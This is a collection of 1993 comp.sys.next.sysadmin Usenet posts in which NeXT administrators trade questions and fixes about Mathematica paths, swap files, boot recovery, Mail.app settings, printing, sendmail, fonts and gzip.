Newsgroups: comp.sys.next.sysadmin From: dan@ennex1.eng.utsa.edu (Daniel Shelton) Subject: Re: Mathematica installation gotcha Message-ID: <1993Mar15.194231.9809@ringer.cs.utsa.edu> Sender: news@ringer.cs.utsa.edu Organization: Univ of Texas at San Antonio References: <1993Mar13.013827.1704@holli.uucp> Date: Mon, 15 Mar 1993 19:42:31 GMT In article <1993Mar13.013827.1704@holli.uucp> uunet!sci34hub!tybrin4!holli!me (Trey McClendon) writes: > Hi, > > Just wanted to alert everyone to a potential problem with Mathematica that > I ran into recently. A pre-2.1 version of Mathematica was installed on a > file server. mathremote, math, and mcc were put into /usr/local/bin. The > problem manifested itself in that math from the command line worked fine, > but the Notebook front end would not work. A simple operation like '1+1' > put the 'running...' up in the title bar and no answer ever came out. > > After talking with Wolfram, who really tried hard to help, over the course > of several phone calls, they sent me v2.1. Same thing happened. Well I > got busy and dropped it until today. Another guy was installing a copy on > another machine and had the same problem. > > Well, the problem ended up being the shell script 'mathremote', which the > front-end uses to talk to the kernel, I think. There is a long command > including many pipes that just happens to use a command called 'control' > -- without a pathname. We had a command called control that is a script > used for some other purpose that was being used instead of the one nestled > within the heirarchy of the Mathematica.app. After modifying the script > to put the absolute pathname in front of control, everything worked fine. > > Trey McClendon > tybrin4!trey@sci34hub.sci.com > -- > Trey McClendon, Madison, AL I installed a version of Mathematica 2.0 in LocalApps and NFS'd it to the rest of the machines on the network. The same thing happened, 1+1 ran without returning an answer. What worked for us was to update the .cshrc file to include the full path to the file math, ej. /LocalApps/Mathematica.app/Kernel. Later, Dan
Newsgroups: comp.sys.next.sysadmin From: ijeff@hank.carleton.ca (Ian Jefferson) Subject: Re: MIME Interface to NeXTMail Message-ID: <ijeff.732233330@cunews> Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton University References: <18961@hq.hq.af.mil> <C3stxp.7r@news.cis.umn.edu> Date: Mon, 15 Mar 1993 22:08:50 GMT In <C3stxp.7r@news.cis.umn.edu> peter@tahiti.umhc.umn.edu (Peter Eisch) writes: >Or even a NeXTSTEP MIME app? >Or an app like Mail.app that doesn't expect to mount the spool mail dir? Yes how about a nice POPMAIL client ? Servers seem to work OK! >peter >peter@tahiti.umhc.umn.edu >dig. >Michelle A. Bradshaw writes >> Is a third party working on such an interface? >> -- --------------------------------------------------------------------------- Ian Jefferson ijeff@ccs.carleton.ca No NeXT mail please! ijeff@computeractive.on.ca NeXT mail please!
From: sfl@muttley.ucsd.edu (Susan Fichera) Newsgroups: comp.sys.next.sysadmin Subject: Need Font Directory Date: 16 Mar 1993 01:37:40 GMT Organization: Department of Music, UC San Diego Distribution: usa Message-ID: <1o3b14INNs9@network.ucsd.edu> Keywords: New Century Schoolbook Greetings, NeXT admins. I need to have New Century Schoolbook fonts for our NeXTs. Does anyone have the font directory for this font? Could I download it from somewhere? We are currently running NeXTOS 2.1, but plan to upgrade to 3.0 fairly soon, if this makes a difference. I assume the font is in the public domain. If Adobe keeps it proprietary, let me know. Thanks for any pointers. Susan Fichera UCSD CRCA sfl@grasshopper.ucsd.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: DAT and 128Mb optical drives for the NeXT - compatibility? Message-ID: <1993Mar16.014347.27640@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar7.024014.26328@wuphys.wustl.edu> Date: Tue, 16 Mar 1993 01:43:47 GMT Donald N. Petcher (petcher@howdy.wustl.edu) wrote: : What does it take for a DAT drive and an optical drive (128Mb 3.5" variety) : to work with a NeXT? I am interested in both, and have noticed that in : particular the ones being sold as Macintosh compatible have pretty good : prices. (MacDirect sells each at about the $1000-$1100 mark.) Would these : work? : Here we experimented with the Pinnacle drive. Connect and go. : Related questions: : : Are ALL 3.5" opticals diskwise compatible? (I saw one ad that explicit : mentions "single-sided" 128Mb optical, which made me wonder...). Is there a : reliablity question here? : We found that ones supplied by IBM did NOT work well with the Pinnacle drive, while ones from SONY worked like a charm in both the Pinnacle and IBM drives, and were cheaper too. Oxymoron: IBM Open Systems... -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: General System Problems Message-ID: <1993Mar16.015130.27940@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1nc0qtINNmlq@senator-bedfellow.MIT.EDU> Date: Tue, 16 Mar 1993 01:51:30 GMT Eric M Hermanson (zmonster@athena.mit.edu) wrote: : Hi I wondered if anyone could answer three questions I have: : : 1. I set the low water mark in /etc/swaptab to be 30 Megs. After rebooting, : the size of the swapfile is 19 Megs. Shouldn't it be 30 Megs since the : low water mark is 30 Megs? : No. If you read the man page for mach_swapon it mentions that it will attempt to shrink the file to lowat, as resources are freed. : 2. Every time I log in, either with my account or root, I get this message : in the console: : : >Mar 6 22:58:27 localhost syslog: make_services: someone else is already : >making services. : : Is this normal? No it's not. Try running /usr/bin/make_services from a shell window and see if you get more information. Check the permissions on ~/.NeXT/service : : 3. My system ignores characters in passwords that are 9 characters or more : long. I thought one could have as many characters in the password as you : want? : That's normal behaviour. You can have as many as you want, but any after the first 8 get dropped into the bit bucket. : -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: HELP, can't boot with / full Message-ID: <1993Mar16.020649.28502@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar10.184617.192@rcwusr> Date: Tue, 16 Mar 1993 02:06:49 GMT John P. Jenkinson (jenkinsonjp@rcwusr.bp.com) wrote: : help, i'm shookered : NeXT won't boot, in rom monitor i see messages like : /: file system full : IO error on pageout: error = 28. : vnode_pageout: failed! : : i understand the why, i can't get a boot in single user nor in -b to not : to rc.boot. : : how do you recover rom such a situation??? You need to boot from a cdrom or a boot floppy. The following receipe is base on using a boot floppy. Once you have done this: /etc/mount /dev/sd0a /m /m/bin/cat /m/etc/swaptab (done so that you can see previous lowat value.) typical result of preceeding cat: /private/vm/swapfile lowat=20971520 # 20 Meg low water mark /m/usr/etc/mach_swapon -o lowat=20971520 /m/private/vm/swapfile /m/etc/shutdown -h now (wait for shutdown) boot multiuser. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Recycler on mounted drives Message-ID: <1993Mar16.021232.28755@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <C3qDLM.3IK@Novell.COM> Date: Tue, 16 Mar 1993 02:12:32 GMT J. Douglas Smith (Doug_Smith@Novell.COM) wrote: : Is there a way to get the Recycler to work on mounted file systems? : : -- : Doug Smith Internet: jdsmith@novell.com : Novell, INC. Phone: (801) 429-7324 : UNIX Desktop Group : Suppose that you have mounted the NFS file system as /Other/FS login or su as root. mkdir /Other/FS/.NextTrash chmod a+w,+t /Other/FS/.NextTrash -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: External Hard Drive, Ownership and File Creation Mask Message-ID: <1993Mar16.023149.29388@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar12.185728.19160@news.cs.brandeis.edu> Date: Tue, 16 Mar 1993 02:31:49 GMT brendan mcdougall (mcdougal@jensen.cc.brandeis.edu) wrote: : Hi, : : The PI in this group purchased and installed an ADS external 1G hard : drive. At this point a private user owns the hard drive. Doing a : recursive chown, i.e. chown -R root /'disk', does not change the ownership : of the disk after logging out from root. Too, file creation mask changes : from root do not last past terminating that root session. : : To the Gurus, what the *%$# is the problem and how is this really managed. : : Please post to the group and if you send me responses directly, which I : would appreciate, I will summarize the responses and post to the group. : : Thank you very much for your help. : : Best regards, : : Brendan McDougall Best way to handle this is to put it in the host machines /etc/fstab Add a line that looks like this: /dev/sd1a /diskmountpoint 4.3 rw,noquota 0 1 Now manually unmount the disk, and then remount it. Disks that are 'discovered' by the workspace seem to belong to whoever is currently logged on. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Mail.app problems Message-ID: <1993Mar16.023848.29702@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Mar12.154500.197@rcwusr> Date: Tue, 16 Mar 1993 02:38:48 GMT John P. Jenkinson (jenkinsonjp@rcwusr.bp.com) wrote: : a user on a NeXT can't get into Mail with the Mail.app, most o the other : accounts i tried can. that is problem number 1, why? i've seen the postings : about permissions on /usr/spool/mail in NeXTanswers and this isn't the problem. : it used to work, now when she launches Mail.app, nothing happens. while she : was able to get in she changed her expert preferences to use another directory : for her mailbox. since she can't get back in to change it back, that is : problem number 2 - where is this information kept?? It's in here defaults database: .. Mail HideOnAutoLaunch YES Mail MailDir ~/Mailboxes Mail NXFont Times-Roman Mail NXFontPanelPreviewFrame "0 0 281 16" Mail NXFontSize 12 Mail NonNext YES .. To read it, dread -o Mail to change it dwrite Mail MailDir whateveryouprefer => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: rlp@lanl.gov (Dick Phillips) Subject: Help! I've broken my printer. Message-ID: <1993Mar16.151641.6507@newshost.lanl.gov> Sender: news@newshost.lanl.gov Organization: Los Alamos National Lab Date: Tue, 16 Mar 1993 15:16:41 GMT Folks: Recently, while acting as my own sysadmin, I seem to have screwed up the netinfo printcap entry. I added a couple of non-next printers via the niload printcap . < /etc/printcap command. Previously, I had edited /etc/printcap to reflect the new entries. Well, I can print to the new printers, but I can no longer print to my local 400 dpi NeXT printer. The console message says "Mar 15 14:11:20 rust lpd[217]: cannot execv /usr/lib/ NextPrinter/npcomm." My first inclination was to reinstall the printer using PrintManager, but that entry is grayed out. I'd sure appreciate any help here. Thanks, Dick Phillips rlp@lanl.gov
From: dcheslow@impact.flint.umich.edu (David A. Cheslow) Newsgroups: comp.sys.next.sysadmin Subject: dbm: no open database Date: 16 Mar 1993 19:39:05 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: world Message-ID: <1o5acpINNt55@srvr1.engin.umich.edu> I get the following message dbm: no open database when i use mail from the command line (when telnetting into my machine) and apparently this message is also sent out whenever mail is received which is making it impossible for some people to mail to me. It may have something to do with my sendmail.cf file.... our sysadmin altered it based on the contents of a non-NeXT sendmail.cf file that he had. please reply by e-mail to dcheslow@impact.flint.umich.edu -- =============================================================== *NOT* an official document of the University of Michigan-Flint =============================================================== David A. Cheslow dcheslow@impact.flint.umich.edu School of Management, 344 CROB Phone: (313) 762-3309 University of Michigan - Flint Fax: (313) 762-3282
Newsgroups: comp.sys.next.sysadmin From: patrick@jgravesnext.nurs.utah.edu (Patrick E. Langford) Subject: AppleTalk Message-ID: <1993Mar16.193343.2577@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Date: Tue, 16 Mar 93 19:33:43 GMT Does anyone have the Beta release AppleTalk package? The Beta just prior to the full 3.0 release? I've heard that this version will work in a network environment. I know that some people have had no problem and others have had absolutely no luck getting the final release to work. I fall into the latter catagory. A friend said that he had success with the Beta version. Would anyone out there be willing to email it to me? Thanks. -- Patrick Langford University of Utah Systems Administrator / Assoc. Programmer College of Nursing patrick@jgravesnext.nurs.utah.edu <NeXTMail is not a problem>
Newsgroups: comp.sys.next.sysadmin From: aboba@netcom.com (Bernard Aboba) Subject: Help with SLIP/PPP? Message-ID: <1993Mar16.194657.20373@netcom.com> Summary: Trying to get SLIP/PPP working under v3.0 Keywords: SLIP, PPP, NeXT v3.0, Help Organization: Netcom - Online Communication Services (408 241-9760 guest) Date: Tue, 16 Mar 1993 19:46:57 GMT I'd like to hear from those of you running SLIP or PPP under v3.0. I didn't have much problem with v2.1, but haven't made much progress after upgrading to v3.0. I am particularly interested in a v3.0 version of PPP, if such exists.
Newsgroups: comp.sys.next.sysadmin From: gemoe@proximus.north.de (Gerhard Moeller) Subject: Re: Please recommend me the BEST modem for the NeXT References: <1ni9be$4vp@zaphod.mps.ohio-state.edu> Sender: gemoe@proximus.north.de Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Tue, 16 Mar 1993 08:20:36 GMT Message-ID: <1993Mar16.082036.779@proximus.north.de> There is nothing like a "BEST" modem. It strongly depends on the modem of the site you poll most. If the other side has a HST, a HST will give you the best results, if it is a PEP, use a PEP. If it is a ZyXEL (with V.fast) use a ZyXEL. All of the above modems (HST, Telebit, ZyXEL) have their "own" "standards" - and they work best with modems of the same brand. Much faster than V.32bis/V.42bis. Some of those Modems (ZyXEL, Worldblazer, T3000(?)) also are capable to use V.32bis/V.42bis. (Hopefully the V.fast becomes a standard, the ZyXEL can also use this mode) If you communicate with many different sites or with a vanilla modem, look at the CCITT modes that are understand by the modem. V.32bis is (at this moment) the fastest transmission mode and V.42bis is the best compression/error-correction available. (Some older modems only "understand" MNP4, MNP5) Some modems can also fax. But careful! It doesn't help if your modem can fax but you don't have software that supports that modem. NXFax (which I can highly recommend) by B&W Software supports the ZyXEL, the SUPRA and Telebit. (In Version 1.03, to be released soon) I personally use the ZyXEL U-1496. I am extremly satisfied with it (There is a DSP and a M68000-12/16 inside) I can use it as an answering machine (am, PD-software), send and receive faxes (with NXFax), and use V.32bis/V.42bis. Also there are very often EPROM-Updates. Make sure that you have a very good dealer with a brilliant support if you buy a ZyXEL! I would buy again the ZyXEL! Definitively. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
From: sfl@muttley.ucsd.edu (Susan Fichera) Newsgroups: comp.sys.next.sysadmin Subject: SUMMARY: Extra Fonts Date: 16 Mar 1993 21:52:26 GMT Organization: Department of Music, UC San Diego Distribution: usa Message-ID: <1o5i6qINNejh@network.ucsd.edu> Greetings, NeXT Admins. My original question regarded the availability of New Century Schoolbook fonts for the NeXT. I had hoped they were in the public domain. As many kind souls have hastened to inform me, these fonts must be purchased as part of the Adobe Plus Pack, available from NeXTConnection, RightBrain, and various other sources. The cost is around $129-149, depending on where you order. Thanks to: Mike Matthews Don Yacktman David Lemson Paul Kim and to the other sysadmins who are yet to reply. Regards, Susan Fichera UCSD CRCA sfl@grasshopper.ucsd.edu
Newsgroups: comp.sys.next.sysadmin From: djd@glv.com (David Deininger) Subject: Re: BUG in either "man" or "mf.1" because "man mf" doesn't work Message-ID: <1993Mar16.214745.15035@glv.uucp> Keywords: tbl Sender: usenet@glv.uucp Organization: Encompass References: <1nndos$e7i@zaphod.mps.ohio-state.edu> Date: Tue, 16 Mar 1993 21:47:45 GMT In article <1nndos$e7i@zaphod.mps.ohio-state.edu> nevai@mps.ohio-state.edu (Paul Nevai) writes: > Do a "man mf" job. Your mf.1 will not be processed because "man" can't finish > the job. This is what happens: > > ops> man mf > > Reformatting page. Wait... > > /usr/man/man1/mf.1: line 124: no specification > > tbl quits > > done > > What the heck is going on? The same mf.1 works fine on our SUN so I guess > the NeXT has the problem. Any ideas? Take care...Paul Looks like it's a bug in tbl, rather than a problem with mf.1, since tbl.1 doesn't work either. Having reached this conclusion, I still don't know what to do about it. :-) --david deininger
From: zmonster@athena.mit.edu (Eric M Hermanson) Newsgroups: comp.sys.next.sysadmin Subject: Why do I keep getting these wierd errors?? Date: 16 Mar 1993 22:54:36 GMT Organization: Massachusetts Institute of Technology Distribution: world Message-ID: <1o5lrcINN2qn@senator-bedfellow.MIT.EDU> Ok, there must be someone out there in TV land who can help me with this.. I have a standalone color turbo ADB system. Every time I log into my personal account (not "root" or "me"), I get the following errors: >Mar 16 02:18:30 localhost syslog: make_services: someone else is already >making services. >Mar 16 03:27:27 localhost WindowServer[130]: IPCFlushOutput: failed to flush >output for stream 0x21e154. The second error always follows the first, about an hour after I log in. The make_services error appears right after I log into my account. Also, the stream number on the second error is different every time the error pops up. What is it? One last thing. I cannot eject floppy disks from my system. SOmeone said there is a bug in 3.0 regarding this. Will the program DiskEjectFix.daemon available on nova.cc.purdue.edu solve this problem? Thanks, Eric
From: jmcaulif@husc.harvard.edu (Jon McAuliffe) Newsgroups: comp.sys.next.sysadmin Subject: Powering Down a SCSI device - please mail replies Keywords: power SCSI hard drive Message-ID: <1993Mar16.203653.21727@husc3.harvard.edu> Date: 17 Mar 93 01:36:51 GMT Article-I.D.: husc3.1993Mar16.203653.21727 Distribution: world Hello, Suppose I have an external hard drive mounted and I log out. If I then power down the drive, say, in the evening and power it back up when I log on the next morning, will anything have gone wrong? How about if I unmount it before logging out (assuming I don't get "device busy"?) What kinds of bad things occur in this situation, if any? Please reply by mail. _________________________________________________________________________ Jon McAuliffe jmcaulif@husc.harvard.edu NeXT ex-Campus Consultant 617.493.3004 (voice/fax) Harvard University
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: lpr and then what happens... Message-ID: <1993Mar17.042222.20655@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Wed, 17 Mar 1993 04:22:22 GMT I was slaving away, trying to figure out how to put printer access control on my Nexts: So I wrote a general purpose program called CheckUser that for a given privledge and user returns 0 if the user has that privledge and 1 otherwise. Perfect for shell scripts. Then I started hacking away on /usr/lib/transcript/psif. Much time passed. None of my echos worked. None of my redirects to files worked. So, thought I, I'll fix it. Everything *eventually* connects to pscomm. So I'll replace it with a script that echo's all its parameters to a file. Built the script, tested the script. Script worked. Made the switch. It still printed. (!) ARG! So I renamed /usr/lib/transcript to /usr/lib/TranScript. It STILL printed. Next uses the stuff in /usr/lib/NextPrinter. So I edited comm, the only script file in NextPrinter. No change.. So I replaced comm with my script to snarf paramters. No change.. So I renamed NextPrinter NextPrinter.NOT That worked. It no longer printed. Changed it back. Printed. So at this point it would appear that either: I've made an incredible series of bonehead moves. (Quite possible, it's late...) Or next does not use NextPrinter/comm in printing to their printer. Does anyone happen to know the pipes, commands and processes in getting from lpr or a NS app to the printer? Thanks => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: eric@cs.sfu.ca (Eric Kolotyluk) Subject: Mail.app Leave My /usr/spool/file alone Message-ID: <1993Mar17.051032.2840@sfu.ca> Sender: news@sfu.ca Organization: Simon Fraser University, Burnaby, B.C., Canada Date: Wed, 17 Mar 1993 05:10:32 GMT reply to: eric@sfu.ca It is extemely frustrating to run Mail.app on a network of Suns. While running Mail.app is a nice way to minimize disk utilization in the /usr/spool partition, it drives me (an my users) nuts when you go back to running a `regular' mail program like, mail, elm, mailtool, etc. Is there a way to make/configure Mail.app to leave you mail in the /usr/spool/file? _____________________________________________________________________ Eric Kolotyluk Eric_Kolotyluk@sfu.ca Manager, Research and Education Systems +1 604 291-3014 phone School of Computing Science +1 604 291-3045 fax Simon Fraser University
Newsgroups: comp.sys.next.sysadmin From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos) Subject: NeXTMail problem Message-ID: <1993Mar16.165317.13467@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Tue, 16 Mar 1993 16:53:17 GMT One of our users can't send NeXTmail (i.e., any mail that incudes formatted text and/or file attachments). Pressing the deliver button results in the following error message: "Unable to write attachments." Sounds like a permission problem, or a missing folder... but I have not yet found the source of this problem. Ideas anyone? Phil -- G. Philippe Menos gpmenos@firestone.princeton.edu Systems Administrator, Princeton University Libraries voice: 609-258-5183 fax: 609-258-5571
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: sendmail problems Date: 17 Mar 1993 10:15:21 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1o6tnp$41g@steffi.demon.co.uk> I am running the standard NeXT sendmail with NS3.0 and I am using a sendmail.subsidiary.cf file as my sendmail.cf. Now, a recent message posted to the next-prog list completely stuffed up my mail feed. Anybody else suffer from this? Perhaps people in the UK? Here are the sendmail errors. Mar 17 09:55:26 steffi sendmail[4034]: Unparseable user <yang^H^H^H^H@yan^U wants to be <yang^H^H^H^H@yan^U Mar 17 09:55:27 steffi sendmail[4034]: AA04034: SYSERR: cannot prescan from (<yang^H^H^H^H@yan^U) Now, while I don't expect another version of sendmail to handle messages like the above what success has there been in using 565c+IDA under NS3.0? I also have heard there is a problem with NeXT's sendmail when it comes to messages with a from that contains both %'s and !'s. Is this true????? Is it worth the switch to a more recent version of sendmail. I am running a SLIP connection to my host
Newsgroups: comp.sys.next.sysadmin From: cs4gp6aa@maccs.mcmaster.ca (Appavoo J) Subject: Xview Message-ID: <1993Mar17.161232.7435@mcshub.dcss.mcmaster.ca> Sender: usenet@mcshub.dcss.mcmaster.ca Organization: Department of Computer Science, McMaster University References: <1993Mar17.042222.20655@kakwa.ucs.ualberta.ca> Date: Wed, 17 Mar 1993 16:12:32 GMT Hi, Is there anybody who has xview compiled and would let me get a copy of the compiled binaries. I am using mouseX on a non-turbo mono nextstation running 3.0 and I have not been able to compile xview and need it badly. Please reply by mail. Thanks very much for any help.
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: jonv@ptnext.claremont.edu (Jon Vestal) Subject: Help compiling WAIS! Message-ID: <C41K22.LAn@news.claremont.edu> Sender: news@news.claremont.edu (The News System) Organization: Harvey Mudd College, Claremont CA 91711 Date: Wed, 17 Mar 1993 16:20:25 GMT Hi, I am trying to compile WAIS on a NeXT Cube running NS 3.0 and get numerous errors, to many to list. Can anyone help me with this? Thanks in advance. Jon Vestal Systems Technician Pitzer College
From: sullivan@cube.ucop.edu (Steve Sullivan) Newsgroups: comp.sys.next.sysadmin Subject: Boot problem - Exception #2 Date: 17 Mar 1993 19:05:32 GMT Organization: University of California, Berkeley Message-ID: <1o7sps$mua@agate.berkeley.edu> After changing the IP address on a NeXTstation, I rebooted. A few seconds after the 'Loading from Disk' message, I get the NeXt ROM Monitor with the following message: Exception #2 (0x8) at pc 0x7ffc3a16 sp 0x67ff13e faultaddr 0x7ffc3a10 I finally tried to reboot from the ROM monitor by entering b. I get a message 'sdmach: not found'. So I tried booting from the external CD-ROM drive by entering bod; either I would get no response at all or the message 'no optical disk'. So my questions are: 1) Does anyone know what an exception #2 indicates? and 2) should I be able to boot from the CD-ROM? 3) if the answer to 2 is yes, am I doing something obviously wrong? Any thoughts or ideas are appreciated. Steve Sullivan <sullivan@ucop.edu> University of California Systemwide Admin.
From: amm@NeXT.COM (Alan M. Marcum) Newsgroups: comp.sys.next.sysadmin Subject: gzip - New Compression Code from GNU Message-ID: <7074@rosie.NeXT.COM> Date: 17 Mar 93 18:52:01 GMT Sender: news@NeXT.COM Following are excerpts from a recent posting in gnu.announce by the good folks at the Free Software Foundation. > From: friedman@gnu.ai.mit.edu (Noah Friedman) > Newsgroups: gnu.announce,gnu.gcc.announce,gnu.emacs.announce,gnu.g++.announce,gnu.m isc.discuss,gnu.utils.bug > Subject: Important change to the GNU FTP archives > Date: 9 Mar 93 10:27:19 GMT > > Therefore, the GNU Project has chosen a new own compression utility, > `gzip', ... As of today, all compressed distribution > files in the GNU anonymous FTP area (prep.ai.mit.edu:/pub/gnu) have > been converted to the new format. Files compressed with this new > compression program end in `.z' (as opposed to `compress'-compressed > files, which end in `.Z'). For details, see the original posting. FYI, the sources I FTPed over compiled without a hitch under NeXTSTEP 3.0. Just run configure, make check, and make install and it should work fine. And, no, this doesn't necessarily mean that we'll be using gzip officially, nor shipping on the release. Just that it compiled and ran with almost no work on my part. Kudos to the folks at FSF for their work in making it so easy. -- Alan M. Marcum NeXT Tech Support amm@NeXT.COM
Newsgroups: comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: gzip - New Compression Code from GNU Message-ID: <1993Mar17.201724.20850@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <7074@rosie.NeXT.COM> Date: Wed, 17 Mar 1993 20:17:24 GMT In article <7074@rosie.NeXT.COM> amm@NeXT.COM (Alan M. Marcum) writes: > And, no, this doesn't necessarily mean that we'll be using gzip > officially, nor shipping on the release. Just that it compiled > and ran with almost no work on my part. Kudos to the folks at > FSF for their work in making it so easy. > -- > Alan M. Marcum > NeXT Tech Support > amm@NeXT.COM Yes, I compiled gzip also, but make sure you have the file alloca.h before trying it or it will not compile, at least not with cc as the proceessor. My question is how does one get the gzip executable into the "Services" menu so we can double-click on a gzipped file and be able to de-compress it properly. That would be a real good thing to do in NeXTSTEP! Thanks, Joe -- | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library cowboy@majeure.law.csuohio.edu
Newsgroups: comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: gzip - New Compression Code from GNU Message-ID: <1993Mar17.211531.22062@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <1993Mar17.201724.20850@news.csuohio.edu> Date: Wed, 17 Mar 1993 21:15:31 GMT In article <1993Mar17.201724.20850@news.csuohio.edu> cowboy@trans.csuohio.edu (Joe Rosenfeld) writes: My question is how does one get the gzip executable into the "Services" > menu so we can double-click on a gzipped file and be able to de-compress > it properly. That would be a real good thing to do in NeXTSTEP! my apologies. I said this incorrectly. I am wondering how we can get the gzip icon into the <Workspace><Tools><Inspector><Tools> area, so we can use gzip or zcat on any file compressed with the *.z. this would make it practical to switch to using gzip for everything, if we could still avail ourselves of its use in NeXTSTEP. thanks again Joe
Newsgroups: comp.sys.next.sysadmin From: joel@writer.yorku.ca (Joel Atkin) Subject: Installing fonts (NS 2.2) Message-ID: <1993Mar17.213158.12907@newshub.ccs.yorku.ca> Originator: joel@grant Sender: news@newshub.ccs.yorku.ca (USENET News System) Organization: Computer Assisted Writing Centre, York University, Toronto, Can Date: Wed, 17 Mar 1993 21:31:58 GMT I've tried to install some fonts but nothing seems to appear in the Font panel. All the *.font directories are in the ~/Library/Fonts directory and each *.font directory contains the appropriate font metrics file and font outline file. Afterwards, I launched the buildafmdir programme for this directory. Still, nothing is appearing in the Font panel. What am I doing wrong?!? Joel Atkin CAWC, York University, Canada joel@highway.writer.yorku.ca joel@grant.yorku.ca
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin,comp.mail.elm Subject: sendmail 565c+IDA and elm? Date: 17 Mar 1993 17:42:00 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1o7nt8$1et@steffi.demon.co.uk> Is there a problem when elm PL23 and sendmail 565c+IDA? I have recently changed sendmail configurations from 5.52 (NeXT supplied) to 565c+IDA and everything appears to work except when I send a message from elm I get sh: XXX memory fault Any clues?
Newsgroups: comp.sys.next.sysadmin From: mark@xexos.com (Mark Chamberlain) Subject: Re: passwd+ in Preferences Message-ID: <1993Mar17.174404.1111@xexos.com> Sender: news@xexos.com Organization: Xexos, Ltd (London) References: <C3x54o.LML@ux1.cso.uiuc.edu> Date: Wed, 17 Mar 1993 17:44:04 GMT In article <C3x54o.LML@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: > Has anyone gotten around to writing a drop-in Preferences module > that provides for 'safe' password changing in netinfo? (by safe, I > mean using passwd+ or something like it - check for crackable > passwords) Whoa!!! Synchronicity strikes. Another (yet another) project we're working on. Drop in Preferences module that forces users to change their passwords every month (sysadmin settable), a set of system loginhooks that force this when they expire, won't let people have passwords that are common words, names etc. Haven't actually played with passwd+, we were basing our product on what SCO Unix does (its C2 compliant) and is okay on the useability front. The Preferences panel itself is easy, the loginhook (ie when a user logs in, popping up a program that forces them to reset their password) is taking a little more time. Mail info@xexos.com for details. Should ship in about 4 weeks with the wind behind us. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
